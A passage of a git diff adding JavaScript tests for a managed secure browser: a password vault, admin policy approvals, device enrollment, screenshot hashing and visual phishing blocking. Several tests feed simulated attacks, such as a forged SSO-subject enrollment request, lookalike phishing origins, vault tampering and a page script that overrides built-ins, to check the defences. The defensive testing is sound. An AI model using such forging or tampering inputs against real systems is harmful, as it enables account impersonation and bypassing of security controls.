f.api('/api/admin/user-profiles/executive','PUT',{expectedVersion:1,profile},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.getRaw('userProfiles'),null);const body={payloadHash:queued.body.payloadHash,expectedVersion:1,approve:true};assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',body,'operator')).status,403);assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',body,'reviewer')).status,200);assert.equal((await f.api('/api/admin/user-profiles/executive','PUT',{expectedVersion:1,profile})).status,409);assert.equal((await f.api('/api/admin/user-profiles/executive','DELETE',{expectedVersion:2},'auditor','auditor')).status,403);assert.equal((await f.api('/api/admin/policy/history/2')).body.userProfiles.profiles[0].id,'executive');const restore=await f.api('/api/admin/policy/restore','POST',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(restore.status,202);assert.equal((await f.api(`/api/admin/policy-reviews/${restore.body.reviewId}/approve`,'POST',{payloadHash:restore.body.payloadHash,expectedVersion:2,approve:true},'reviewer')).status,200);assert.deepEqual(f.store.getRaw('userProfiles').profiles,[]);}); + +test('enrollment cannot forge a verified SSO subject through client input or a named provisioning code',async t=>{const f=await fixture(t);const code='synthetic-provisioning-code-123456789';f.store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+60000,'employee');const r=await fetch(f.base+'/api/device/enroll',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({code,name:'Forged label',platform:'win32',sub:'employee',verified_subject:'employee',user:'employee'})});assert.equal(r.status,200);const b=await r.json(),d=f.store.db.prepare('SELECT verified_subject,user FROM devices WHERE id=?').get(b.id);assert.equal(d.verified_subject,null);assert.equal(d.user,'employee');}); diff --git a/tests/vault.test.mjs b/tests/vault.test.mjs new file mode 100644 index 0000000..75a4e71 --- /dev/null +++ b/tests/vault.test.mjs @@ -0,0 +1,103 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import crypto from 'node:crypto'; +import { createRequire } from 'node:module'; +const { createVault, generatePassword } = createRequire(import.meta.url)('../apps/browser/vault.cjs'); +const master = 'A long separate master password 2026!'; +function fixture(t) { + const directory = fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-vault-test-')); + t.after(() => fs.rmSync(directory, { recursive: true, force: true })); + const platformKey = crypto.randomBytes(32); + const options = { filePath: path.join(directory, 'vault.json'), protect(data) { + const nonce = crypto.randomBytes(12), cipher = crypto.createCipheriv('aes-256-gcm', platformKey, nonce); + const body = Buffer.concat([cipher.update(data), cipher.final()]); + return Buffer.concat([nonce, cipher.getAuthTag(), body]); + }, unprotect(data) { + const decipher = crypto.createDecipheriv('aes-256-gcm', platformKey, data.subarray(0, 12)); + decipher.setAuthTag(data.subarray(12, 28)); return Buffer.concat([decipher.update(data.subarray(28)), decipher.final()]); + } }; + return { options, engine: createVault(options) }; +} +test('vault encrypts full metadata and roundtrips through actual ML-KEM', t => { + const { engine, options } = fixture(t); + t.after(engine.lock); + engine.create(master); + const { id } = engine.upsert({ origin: 'https://company.example', username: 'private-user-name', password: 'top-secret-credential', label: 'Confidential label' }); + const stored = fs.readFileSync(options.filePath, 'utf8'); + for (const secret of ['company.example', 'private-user-name', 'top-secret-credential', 'Confidential label', master]) assert.equal(stored.includes(secret), false); + assert.equal(Buffer.from(JSON.parse(stored).kemCiphertext, 'base64').length, 1568); + assert.equal('password' in engine.list()[0], false); + engine.lock(); assert.throws(() => engine.list()); assert.throws(() => engine.credential(id, 'https://company.example')); + engine.unlock(master); assert.deepEqual(engine.credential(id, 'https://company.example'), { username: 'private-user-name', password: 'top-secret-credential' }); + assert.throws(() => engine.credential(id, 'https://company.example:444')); + assert.throws(() => engine.credential(id, 'https://evil.example')); + assert.throws(() => engine.credential(id, 'http://company.example')); + assert.throws(() => engine.credential(id, 'https://company.example/path')); + engine.delete(id); engine.lock(); engine.unlock(master); assert.deepEqual(engine.list(), []); +}); +test('wrong master password and wrong platform factor fail closed', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); engine.lock(); + assert.throws(() => engine.unlock('Wrong long master password!!!'), /Vault operation refused/); + assert.equal(engine.status().locked, true); + const other = createVault({ ...options, unprotect: () => { throw new Error('DPAPI failed'); } }); + assert.throws(() => other.unlock(master), /Vault operation refused/); assert.equal(other.status().locked, true); + engine.unlock(master); assert.equal(engine.status().locked, false); +}); +test('ciphertext, header and key envelope tampering is refused', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); engine.lock(); const pristine = fs.readFileSync(options.filePath, 'utf8'); + for (const mutate of [record => { record.payload.ciphertext = record.payload.ciphertext.replace(/^./, char => char === 'A' ? 'B' : 'A'); }, + record => { record.vaultId = crypto.randomUUID(); }, record => { record.salt = crypto.randomBytes(32).toString('base64'); }, + record => { record.wrappedKey.tag = crypto.randomBytes(16).toString('base64'); }, record => { record.kemCiphertext = crypto.randomBytes(1568).toString('base64'); }]) { + const record = JSON.parse(pristine); mutate(record); fs.writeFileSync(options.filePath, JSON.stringify(record)); + assert.throws(() => engine.unlock(master), /Vault operation refused/); assert.equal(engine.status().locked, true); + } +}); +test('malformed oversized file and untrusted KDF parameters never weaken security', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); engine.lock(); + const record = JSON.parse(fs.readFileSync(options.filePath, 'utf8')); record.scrypt = { N: 2, r: 1, p: 1 }; + fs.writeFileSync(options.filePath, JSON.stringify(record)); engine.unlock(master); engine.lock(); + fs.writeFileSync(options.filePath, Buffer.alloc(8 * 1024 * 1024 + 1)); assert.throws(() => engine.unlock(master)); + fs.writeFileSync(options.filePath, '{bad json'); assert.throws(() => engine.unlock(master)); +}); +test('master requirements, idle bounds and credential validation', t => { + const { engine, options } = fixture(t); t.after(engine.lock); + assert.throws(() => engine.create('short')); assert.equal(engine.status().exists, false); + assert.throws(() => createVault({ ...options, idleSeconds: 59 })); assert.throws(() => createVault({ ...options, idleSeconds: 901 })); + engine.create(master); assert.throws(() => engine.create(master)); assert.equal(engine.status().locked, true); engine.unlock(master); + assert.throws(() => engine.upsert({ origin: 'https://user:pass@company.example', username: 'user', password: 'secret' })); + assert.throws(() => engine.upsert({ origin: 'http://company.example', username: 'user', password: 'secret' })); + assert.throws(() => engine.upsert({ origin: 'https://company.example', username: 'user', password: '' })); + assert.deepEqual(engine.list(), []); + assert.equal(generatePassword().length, 32); assert.throws(() => generatePassword(23)); assert.notEqual(generatePassword(), generatePassword()); +}); +test('idle expiry locks credentials and atomic write failure preserves the last committed vault', t => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const { engine, options } = fixture(t); t.after(engine.lock); + engine.create(master); const { id } = engine.upsert({ origin: 'https://company.example', username: 'user', password: 'original' }); + const original = fs.readFileSync(options.filePath); + const rename = t.mock.method(fs, 'renameSync', () => { throw new Error('Disk write failed'); }); + assert.throws(() => engine.upsert({ id, origin: 'https://company.example', username: 'user', password: 'uncommitted' })); + assert.equal(engine.credential(id, 'https://company.example').password, 'original'); + assert.deepEqual(fs.readFileSync(options.filePath), original); + assert.equal(fs.readdirSync(path.dirname(options.filePath)).some(name => name.endsWith('.tmp')), false); + rename.mock.restore(); + t.mock.timers.tick(300_001); assert.equal(engine.status().locked, true); + assert.throws(() => engine.credential(id, 'https://company.example')); + engine.unlock(master); assert.equal(engine.credential(id, 'https://company.example').password, 'original'); +}); +test('background metadata polling cannot postpone the idle lock deadline', t => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const { engine } = fixture(t); t.after(engine.lock); + engine.create(master); + for (let elapsed = 0; elapsed < 300_000; elapsed += 5000) { + assert.deepEqual(engine.list(), []); t.mock.timers.tick(5000); + } + assert.equal(engine.status().locked, true); + assert.throws(() => engine.list()); +}); diff --git a/tests/visual-capture.test.mjs b/tests/visual-capture.test.mjs new file mode 100644 index 0000000..78034f0 --- /dev/null +++ b/tests/visual-capture.test.mjs @@ -0,0 +1,13 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const require=createRequire(import.meta.url),{capturePNG}=require('../apps/browser/visual-capture.cjs'); +test('stale native captures are never accepted as visual evidence',async()=>{let nativeCalled=false;const bytes=Buffer.from('current-frame'),api={isAttached:()=>false,attach:()=>{},sendCommand:async()=>({data:bytes.toString('base64')}),detach:()=>{}};assert.deepEqual(await capturePNG({capturePage:async()=>{nativeCalled=true;return {isEmpty:()=>false,toPNG:()=>Buffer.from('stale-frame')};},debugger:api}),bytes);assert.equal(nativeCalled,false);}); +test('local capture issues only the screenshot command and detaches',async()=>{ + const calls=[],api={isAttached:()=>false,attach:version=>calls.push(['attach',version]),sendCommand:async(command,args)=>{calls.push([command,args]);return {data:Buffer.from('fixture').toString('base64')};},detach:()=>calls.push(['detach'])}; + assert.deepEqual(await capturePNG({capturePage:async()=>{throw Error('UnknownVizError');},debugger:api},{x:0,y:0,width:100,height:80}),Buffer.from('fixture'));assert.deepEqual(calls.map(call=>call[0]),['attach','Page.captureScreenshot','detach']);assert.equal(calls[1][1].captureBeyondViewport,false); +}); +test('existing debugger, malformed output and unsupported regions fail closed',async()=>{ + const unavailable={capturePage:async()=>{throw Error();},debugger:{isAttached:()=>true}};await assert.rejects(capturePNG(unavailable));await assert.rejects(capturePNG(unavailable,{x:-1,y:0,width:100,height:80})); + let detached=false;await assert.rejects(capturePNG({capturePage:async()=>{throw Error();},debugger:{isAttached:()=>false,attach:()=>{},sendCommand:async()=>({data:'invalid!'}),detach:()=>{detached=true;}}}));assert.equal(detached,true); +}); diff --git a/tests/visual-hash.test.mjs b/tests/visual-hash.test.mjs new file mode 100644 index 0000000..99a53e8 --- /dev/null +++ b/tests/visual-hash.test.mjs @@ -0,0 +1,56 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const { visualFingerprint, hammingDistance } = createRequire(import.meta.url)('../packages/core/visual-hash.cjs'); +function image(width = 64, height = 64, layout = 0, brightness = 0) { + const rgba = new Uint8Array(width * height * 4); + for (let y = 0; y < height; y++) for (let x = 0; x < width; x++) { + const nx = x / width, ny = y / height; + let value = 220; + if (!layout) { + if (ny < 0.2) value = 45; + if (nx > 0.2 && nx < 0.8 && ny > 0.35 && ny < 0.8) value = 140; + if (nx > 0.3 && nx < 0.7 && ny > 0.5 && ny < 0.6) value = 65; + } else { + if (nx < 0.25) value = 65; + if (nx > 0.4 && nx < 0.9 && ny > 0.2 && ny < 0.45) value = 120; + if (nx > 0.6 && ny > 0.7) value = 45; + } + const index = (y * width + x) * 4; + rgba[index] = rgba[index + 1] = rgba[index + 2] = value + brightness; rgba[index + 3] = 255; + } + return { rgba, width, height }; +} +test('DCT fingerprints are deterministic, brightness stable and resize tolerant', () => { + const original = visualFingerprint(image()); + assert.equal(original.algorithm, 'phash-dct32-v1'); assert.match(original.hash, /^[0-9a-f]{16}$/); assert.equal(original.usable, true); + assert.deepEqual(visualFingerprint(image()), original); + assert.equal(hammingDistance(original.hash, visualFingerprint(image(64, 64, 0, 12)).hash), 0); + assert.ok(hammingDistance(original.hash, visualFingerprint(image(128, 128)).hash) <= 6); +}); +test('blank low contrast and transparent images are unusable', () => { + for (const value of [0, 127, 255]) { + const rgba = new Uint8Array(64 * 64 * 4); + for (let index = 0; index < rgba.length; index += 4) { rgba[index] = rgba[index + 1] = rgba[index + 2] = value; rgba[index + 3] = 255; } + const result = visualFingerprint({ rgba, width: 64, height: 64 }); assert.equal(result.usable, false); assert.equal(result.quality.contrast, 0); + } + const transparent = image(); for (let index = 3; index < transparent.rgba.length; index += 4) transparent.rgba[index] = 0; + assert.equal(visualFingerprint(transparent).usable, false); +}); +test('different layouts exceed the conservative similarity threshold', () => { + const distance = hammingDistance(visualFingerprint(image()).hash, visualFingerprint(image(64, 64, 1)).hash); + assert.ok(distance > 10, `distance ${distance}`); +}); +test('crop normalizes selected region and clamps safe partial intersections', () => { + const input = image(); + assert.deepEqual(visualFingerprint({ ...input, region: { x: -10, y: -10, width: 74, height: 74 } }), visualFingerprint(input)); + const cropped = visualFingerprint({ ...input, region: { x: 15, y: 15, width: 40, height: 40 } }); + assert.notEqual(cropped.hash, visualFingerprint(input).hash); +}); +test('malformed dimensions buffers crop and hash formats are rejected', () => { + const input = image(); + for (const change of [{ width: -1 }, { width: 1.5 }, { width: 9000 }, { height: 9000 }, { rgba: [1, 2, 3] }, { rgba: new Uint8Array(4) }, { region: { x: 100, y: 100, width: 3, height: 3 } }, { region: { x: 0, y: 0, width: 0, height: 4 } }, { region: { x: Infinity, y: 0, width: 4, height: 4 } }]) assert.throws(() => visualFingerprint({ ...input, ...change })); + assert.throws(() => visualFingerprint({ rgba: new Uint8Array(4), width: 8192, height: 8192 })); + assert.throws(() => hammingDistance('A'.repeat(16), '0'.repeat(16))); assert.throws(() => hammingDistance('0', '0'.repeat(16))); + assert.equal(hammingDistance('0'.repeat(16), 'f'.repeat(16)), 64); +}); diff --git a/tests/visual-image.test.mjs b/tests/visual-image.test.mjs new file mode 100644 index 0000000..eb99a9e --- /dev/null +++ b/tests/visual-image.test.mjs @@ -0,0 +1,11 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +const require=createRequire(import.meta.url),{PNG}=require('pngjs'),{decodePNG,fingerprintPNG}=require('../packages/core/visual-image.cjs'); +function image(){const png=new PNG({width:64,height:64});for(let y=0;y<64;y++)for(let x=0;x<64;x++){const i=(y*64+x)*4;png.data.set([x<32?30:240,y<20?10:180,x+y,255],i);}return PNG.sync.write(png);} +test('bounded PNG returns deterministic derived features without source pixels',()=>{const source=image(),decoded=decodePNG(source),feature=fingerprintPNG(source);assert.equal(decoded.rgba.length,64*64*4);assert.equal(feature.usable,true);assert.match(feature.hash,/^[a-f0-9]{16}$/);assert.equal(feature.rgba,undefined);assert.deepEqual(feature,fingerprintPNG(source));}); +test('malformed, oversized, animated/interlaced and oversized output PNG are refused',()=>{ + assert.throws(()=>decodePNG(Buffer.alloc(11*1024*1024)));assert.throws(()=>decodePNG(image().subarray(0,40))); + for(const mutate of [bytes=>bytes.writeUInt32BE(0xffffffff,16),bytes=>{bytes[28]=1;},bytes=>{bytes[24]=16;},bytes=>{bytes[bytes.length-5]^=1;}]){const bytes=image();mutate(bytes);assert.throws(()=>decodePNG(bytes));} + assert.throws(()=>decodePNG(Buffer.concat([image(),Buffer.from('trailing-data')]))); +}); diff --git a/tests/visual-phishing.test.mjs b/tests/visual-phishing.test.mjs new file mode 100644 index 0000000..2dc0276 --- /dev/null +++ b/tests/visual-phishing.test.mjs @@ -0,0 +1,60 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import vm from 'node:vm'; +import {createRequire} from 'node:module'; +const {createVisualPhishing,describeScript}=createRequire(import.meta.url)('../apps/browser/visual-phishing.cjs'); +function fixture(overrides={}){ + let url='https://evil.test/login';const events=[],blocks=[]; + const reference={hash:'0123456789abcdef',algorithm:'phash-dct32-v1',scope:'viewport',viewport:{width:1320,height:900}}; + const policy={version:1,expiresAt:new Date(Date.now()+60000).toISOString(),security:{visualPhishing:{enabled:true,failClosed:true,brands:[{id:'company-login',label:'Company',allowedOrigins:['https://company.test'],requiredText:['Company'],maxDistance:6,references:[reference]}]}}}; + const context={ready:true,policy,webContents:{getURL:()=>url},navigationId:1}; + const settings={getContext:()=>({...context,url}),describe:async()=>({hasCredentialInputs:true,visibleText:'Company login'}),capture:async()=>({width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}}),fingerprint:async image=>image.fingerprint,compare:async()=>0,audit:async event=>events.push(event),block:async result=>blocks.push(result),...overrides}; + return {checker:createVisualPhishing(settings),context,policy,reference,events,blocks,setURL:value=>url=value}; +} +test('strong brand match on credential page blocks and emits metadata-only audit',async()=>{ + const f=fixture();const r=await f.checker.check();assert.equal(r.decision,'block');assert.equal(r.ruleId,'company-login');assert.equal(f.blocks.length,1);assert.deepEqual(f.events,[{kind:'phishing.block',ruleId:'company-login',host:'evil.test'}]);assert.equal(JSON.stringify(f.events).includes('012345'),false); +}); +test('exact HTTPS own-brand origin exempts only that brand',async()=>{ + const f=fixture();f.setURL('https://company.test/login');assert.equal((await f.checker.check()).decision,'allow'); + f.policy.security.visualPhishing.brands.push({...f.policy.security.visualPhishing.brands[0],id:'other-brand',allowedOrigins:['https://other.test']});assert.equal((await f.checker.check()).ruleId,'other-brand'); +}); +test('HTTP, suffix and lookalike origins cannot reuse trusted exemption',async()=>{ + for(const url of ['http://company.test/login','https://company.test.evil.test/login','https://c0mpany.test/login']){const f=fixture();f.setURL(url);assert.equal((await f.checker.check()).decision,'block');} +}); +test('unrelated text, absent credentials and dissimilar image are allowed',async()=>{ + for(const settings of [{describe:async()=>({hasCredentialInputs:true,visibleText:'Different unrelated sign in'})},{describe:async()=>({hasCredentialInputs:false,visibleText:'Company brochure'})},{compare:async()=>40}]){const f=fixture(settings);assert.equal((await f.checker.check()).decision,'allow');assert.equal(f.blocks.length,0);} +}); +test('changed URL, policy identity or document epoch discards asynchronous match',async()=>{ + for(const change of ['url','policy','document','reset']){const f=fixture({capture:async()=>{if(change==='url')f.setURL('https://another.test/');if(change==='policy')f.context.policy={...f.policy};if(change==='document')f.context.navigationId++;if(change==='reset')f.checker.reset();return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});const r=await f.checker.check();assert.equal(r.decision,'unknown');assert.equal(r.reason,'stale-context');assert.equal(f.blocks.length,0);} +}); +test('real capture failure on credential page fails closed; unsupported dimensions remain unknown',async()=>{ + const failed=fixture({capture:async()=>{throw Error('Screenshot unavailable');}});assert.equal((await failed.checker.check()).decision,'block'); + const mismatch=fixture({capture:async()=>({width:800,height:600,fingerprint:{hash:'0123456789abcdef',usable:true}})});assert.equal((await mismatch.checker.check()).decision,'unknown');assert.equal(mismatch.blocks.length,0); + const unusable=fixture({fingerprint:async()=>({usable:false,hash:'0123456789abcdef'})});assert.equal((await unusable.checker.check()).decision,'unknown'); +}); +test('description failure fails closed and expired policy never produces approval',async()=>{ + const failed=fixture({describe:async()=>{throw Error('Unavailable');}});const verdict=await failed.checker.check();assert.equal(verdict.decision,'block');assert.equal(verdict.reason,'visual-description-unavailable'); + const expired=fixture();expired.policy.expiresAt=new Date(Date.now()-1).toISOString();assert.equal((await expired.checker.check()).reason,'policy-expired'); + const stale=fixture({capture:async()=>{stale.policy.expiresAt=new Date(Date.now()-1).toISOString();return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}});assert.equal((await stale.checker.check()).reason,'stale-context');assert.equal(stale.blocks.length,0); +}); +test('login-form references require aspect match and rectangle',async()=>{ + const f=fixture({describe:async()=>({hasCredentialInputs:true,visibleText:'Company',formRect:{x:0,y:0,width:600,height:300}}),capture:async()=>({width:600,height:300,fingerprint:{hash:'0123456789abcdef',usable:true}})});f.reference.scope='login-form';f.reference.viewport={width:300,height:150};assert.equal((await f.checker.check()).decision,'block'); +}); +test('description script sees email-only login without collecting values',()=>{ + const body={parentElement:null};const input={type:'email',name:'email',id:'email',value:'must-never-read',disabled:false,parentElement:body,getAttribute:()=>'',getClientRects:()=>[{}],closest:()=>null,getBoundingClientRect:()=>({x:10,y:10,right:310,bottom:50})};const textElement={parentElement:body,getAttribute:()=>'',getClientRects:()=>[{}],closest:()=>null};let visited=false; + Object.defineProperty(input,'value',{get(){throw Error('Field value access forbidden');}}); + const document={body,querySelectorAll:()=>[input],createTreeWalker:()=>({nextNode:()=>visited?null:(visited=true,{parentElement:textElement,textContent:'Company'})})}; + const sandbox={location:{href:'https://evil.test/login'},document,innerWidth:1320,innerHeight:900,NodeFilter:{SHOW_TEXT:4},getComputedStyle:()=>({display:'block',visibility:'visible',opacity:'1'})}; + const result=vm.runInNewContext(describeScript('https://evil.test/login'),sandbox);assert.equal(result.hasCredentialInputs,true);assert.equal(result.visibleText,'Company');assert.equal(JSON.stringify(result).includes('must-never'),false); + sandbox.location.href='https://replacement.test';assert.throws(()=>vm.runInNewContext(describeScript('https://evil.test/login'),sandbox),/Document changed/); +}); +test('concurrent checks serialize capture and forced checks take fresh snapshots',async()=>{ + let active=0,max=0;const f=fixture({capture:async()=>{active++;max=Math.max(max,active);await new Promise(r=>setTimeout(r,10));active--;return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};}}); + await Promise.all([f.checker.check(),f.checker.check({force:true}),f.checker.check({force:true})]);assert.equal(max,1); +}); +test('multiple references reuse one capture and fingerprint while validating each reference viewport',async()=>{ + let captures=0,fingerprints=0,comparisons=0; + const f=fixture({capture:async()=>{captures++;return{width:1320,height:900,fingerprint:{hash:'0123456789abcdef',usable:true}};},fingerprint:async image=>{fingerprints++;return image.fingerprint;},compare:async()=>{comparisons++;return 40;}}); + f.policy.security.visualPhishing.brands[0].references.push({...f.reference,hash:'aaaaaaaaaaaaaaaa'},{...f.reference,hash:'bbbbbbbbbbbbbbbb',viewport:{width:800,height:600}}); + assert.equal((await f.checker.check()).decision,'unknown');assert.equal(captures,1);assert.equal(fingerprints,1);assert.equal(comparisons,2); +}); diff --git a/tests/visual-preload.test.mjs b/tests/visual-preload.test.mjs new file mode 100644 index 0000000..ee0097f --- /dev/null +++ b/tests/visual-preload.test.mjs @@ -0,0 +1,112 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import vm from 'node:vm'; + +const source=fs.readFileSync(new URL('../apps/browser/site-preload.cjs',import.meta.url),'utf8'); +function harness(enabled,options={}){ + const listeners=new Map(),ipcListeners=new Map(),timers=[],requests=[],sent=[],observers=[]; + const window={stop:()=>{},addEventListener:(name,handler,capture)=>{assert.equal(capture===true||capture===undefined,true);listeners.set(name,[...(listeners.get(name)||[]),handler]);}}; + const ipcRenderer={on:(channel,callback)=>ipcListeners.set(channel,callback),sendSync:channel=>{assert.equal(channel,'managed:visual-policy');return {enabled};},send:(channel,payload)=>sent.push({channel,payload}),invoke:(channel,payload)=>new Promise(resolve=>requests.push({channel,payload,resolve}))}; + const location={href:options.url||'https://example.test/login'}; + class MutationObserver{constructor(callback){this.callback=callback;observers.push(this);}observe(_element,settings){this.settings=settings;}} + class Document{}Document.prototype.execCommand=()=>true; + const context={require:name=>{assert.equal(name,'electron');return {ipcRenderer,contextBridge:{executeInMainWorld:({func})=>func()}};},Document,DOMException,process:{sandboxed:true,contextIsolated:true,isMainFrame:true},window,location,document:{body:{innerText:'Public page content'},documentElement:{}},crypto:options.crypto||{randomUUID:()=> 'opaque-document-fixture-token'},MutationObserver,setTimeout:(callback,delay)=>{timers.push({callback,delay});return timers.length;}}; + vm.runInNewContext(source,context,{filename:'site-preload.cjs'}); + function dispatch(name,credential=true,inputType){const result={prevented:false,stopped:false};const target={closest:()=>credential?target:null};for(const listener of listeners.get(name)||[]){listener({target,inputType,preventDefault:()=>result.prevented=true,stopImmediatePropagation:()=>result.stopped=true});if(result.stopped)break;}return result;} + function domReady(){for(const listener of listeners.get('DOMContentLoaded')||[])listener();} + function mutate(attribute){assert.ok(observers.length);for(const observer of observers){if(!attribute||observer.settings.attributes&&(!observer.settings.attributeFilter||observer.settings.attributeFilter.includes(attribute)))observer.callback([]);}} + function configure(nextEnabled,token){assert.ok(ipcListeners.has('managed:visual-config'));ipcListeners.get('managed:visual-config')({}, {enabled:nextEnabled,token});} + function timer(delay){const index=timers.findIndex(t=>t.delay===delay);if(index<0)return false;const item=timers.splice(index,1)[0];item.callback();return true;} + return {context,location,requests,sent,timers,dispatch,domReady,mutate,timer,configure}; +} +const settle=()=>new Promise(resolve=>setImmediate(resolve)); + +test('disabled visual policy preserves input and submits without requesting visual approval',()=>{ + const f=harness(false);f.domReady(); + for(const event of ['beforeinput','submit','pointerdown'])assert.deepEqual(f.dispatch(event),{prevented:false,stopped:false}); + assert.equal(f.timer(150),false);assert.equal(f.requests.length,0); + assert.equal(f.timer(350),true);assert.equal(f.sent[0].channel,'managed:page-content'); +}); + +test('enabled credential input, paste and submit are held until current document approval',async()=>{ + const f=harness(true);f.domReady(); + for(const event of ['beforeinput','paste','submit'])assert.deepEqual(f.dispatch(event),{prevented:true,stopped:true}); + assert.equal(f.timer(150),true);assert.equal(f.requests.length,1); + const request=f.requests[0];assert.equal(request.channel,'managed:visual-check');assert.equal(request.payload.url,f.location.href);assert.ok(request.payload.revision>0); + request.resolve({decision:'allow'});await settle(); + for(const event of ['beforeinput','submit'])assert.deepEqual(f.dispatch(event),{prevented:false,stopped:false}); +}); + +test('DOM mutation invalidates approval synchronously before a new inspection completes',async()=>{ + const f=harness(true);f.domReady();f.timer(150);f.requests[0].resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,false); + f.mutate(); + assert.equal(f.dispatch('beforeinput').prevented,true,'A changed credential form must not receive input during inspection'); + assert.equal(f.dispatch('submit').prevented,true); +}); + +test('stale successful inspection cannot release a form changed while inspection was pending',async()=>{ + const f=harness(true);f.domReady();f.timer(150);const first=f.requests[0]; + f.mutate();f.timer(150);const second=f.requests[1];assert.ok(second.payload.revision>first.payload.revision); + first.resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,true,'An allow result for the previous form revision must be discarded'); + // The held paste itself invalidates the outstanding second revision as another attempt. + second.resolve({decision:'allow'});await settle();assert.equal(f.dispatch('submit').prevented,true); + f.timer(150);const latest=f.requests.at(-1);latest.resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,false); +}); + +test('changed document URL discards an outstanding allow result and exposes no page bridge',async()=>{ + const f=harness(true);f.domReady();f.timer(150);f.location.href='https://replacement.test/login';f.requests[0].resolve({decision:'allow'});await settle(); + assert.equal(f.dispatch('beforeinput').prevented,true); + assert.equal(f.context.window.safetynet,undefined);assert.equal(f.context.window.ipcRenderer,undefined); + assert.ok(f.requests.every(request=>Object.keys(request.payload).sort().join(',')==='revision,token,url')); +}); +test('live policy enable holds input immediately and acknowledges before asynchronous inspection',async()=>{ + const f=harness(false);f.domReady();assert.equal(f.dispatch('beforeinput').prevented,false); + f.configure(true,'configuration-1');assert.equal(f.dispatch('beforeinput').prevented,true); + assert.ok(f.sent.some(item=>item.channel==='managed:visual-configured'&&item.payload==='configuration-1')); + f.timer(150);f.requests.at(-1).resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,false); + f.configure(false,'configuration-2');assert.equal(f.dispatch('beforeinput').prevented,false);assert.equal(f.dispatch('submit').prevented,false); + assert.ok(f.sent.some(item=>item.channel==='managed:visual-configured'&&item.payload==='configuration-2')); +}); +test('live disable and re-enable invalidates outstanding old approval',async()=>{ + const f=harness(true);f.domReady();f.timer(150);const stale=f.requests[0]; + f.configure(false,'off');assert.equal(f.dispatch('beforeinput').prevented,false); + f.configure(true,'on');stale.resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,true); +}); +test('credential marker attributes invalidate approval even without visual text changes',async()=>{ + for(const attribute of ['name','id','autocomplete','aria-hidden','disabled']){ + const f=harness(true);f.domReady();f.timer(150);f.requests[0].resolve({decision:'allow'});await settle();assert.equal(f.dispatch('beforeinput').prevented,false); + f.mutate(attribute);assert.equal(f.dispatch('beforeinput').prevented,true,`${attribute} changed a credential form without changing its visible text`); + } +}); +test('legacy clipboard primitive remains frozen and unsupported page transfer events are always denied',()=>{ + const f=harness(false);const descriptor=Object.getOwnPropertyDescriptor(f.context.Document.prototype,'execCommand'); + assert.equal(descriptor.configurable,false);assert.equal(descriptor.writable,false); + for(const operation of ['copy','cut','paste','PasteAndMatchStyle','PasteGlobalSelection'])assert.equal(descriptor.value(operation),false); + assert.equal(descriptor.value('bold'),true); + for(const event of ['copy','cut','paste','dragstart','dragover','drop'])assert.equal(f.dispatch(event).prevented,true); + for(const type of ['insertFromPaste','insertFromDrop','deleteByCut'])assert.equal(f.dispatch('beforeinput',true,type).prevented,true); + let coerced=false;assert.equal(descriptor.value({toString:()=>{coerced=true;return 'copy';}}),false);assert.equal(coerced,false); + for(const operation of ['open','write','writeln']){ + const replacement=Object.getOwnPropertyDescriptor(f.context.Document.prototype,operation);assert.equal(replacement.configurable,false);assert.equal(replacement.writable,false); + assert.throws(()=>replacement.value(),error=>error.name==='SecurityError'); + } +}); +test('document listener reset and page tampering with Reflect/RegExp cannot restore legacy clipboard commands',()=>{ + const f=harness(false); + // Document.open clears listeners without creating a new JS realm; retain only the frozen primitive. + const result=vm.runInNewContext(`(()=>{window.addEventListener=()=>{};Reflect.apply=()=>true;RegExp.prototype.test=()=>false;try{Document.prototype.execCommand=()=>true;}catch{};return {copy:Document.prototype.execCommand('copy'),paste:Document.prototype.execCommand('paste'),bold:Document.prototype.execCommand('bold'),locked:Object.getOwnPropertyDescriptor(Document.prototype,'execCommand').configurable===false};})()`,f.context); + assert.equal(result.copy,false);assert.equal(result.paste,false);assert.equal(result.bold,true);assert.equal(result.locked,true); +}); +test('HTTP insecure context without randomUUID still monitors content and uses random document token',()=>{ + let randomCalls=0; + const f=harness(true,{url:'http://proxy-fixture.test/',crypto:{getRandomValues:bytes=>{randomCalls++;for(let i=0;iitem.channel==='managed:page-content').payload)),{text:'Public page content'}); + f.timer(150);assert.match(f.requests[0].payload.token,/^[a-f0-9]{32}$/);assert.equal(f.requests[0].payload.url,'http://proxy-fixture.test/'); + f.context.document.body.innerText='Changed public page';f.mutate('name');f.timer(350); + assert.equal(f.sent.filter(item=>item.channel==='managed:page-content').at(-1).payload.text,'Changed public page'); +});

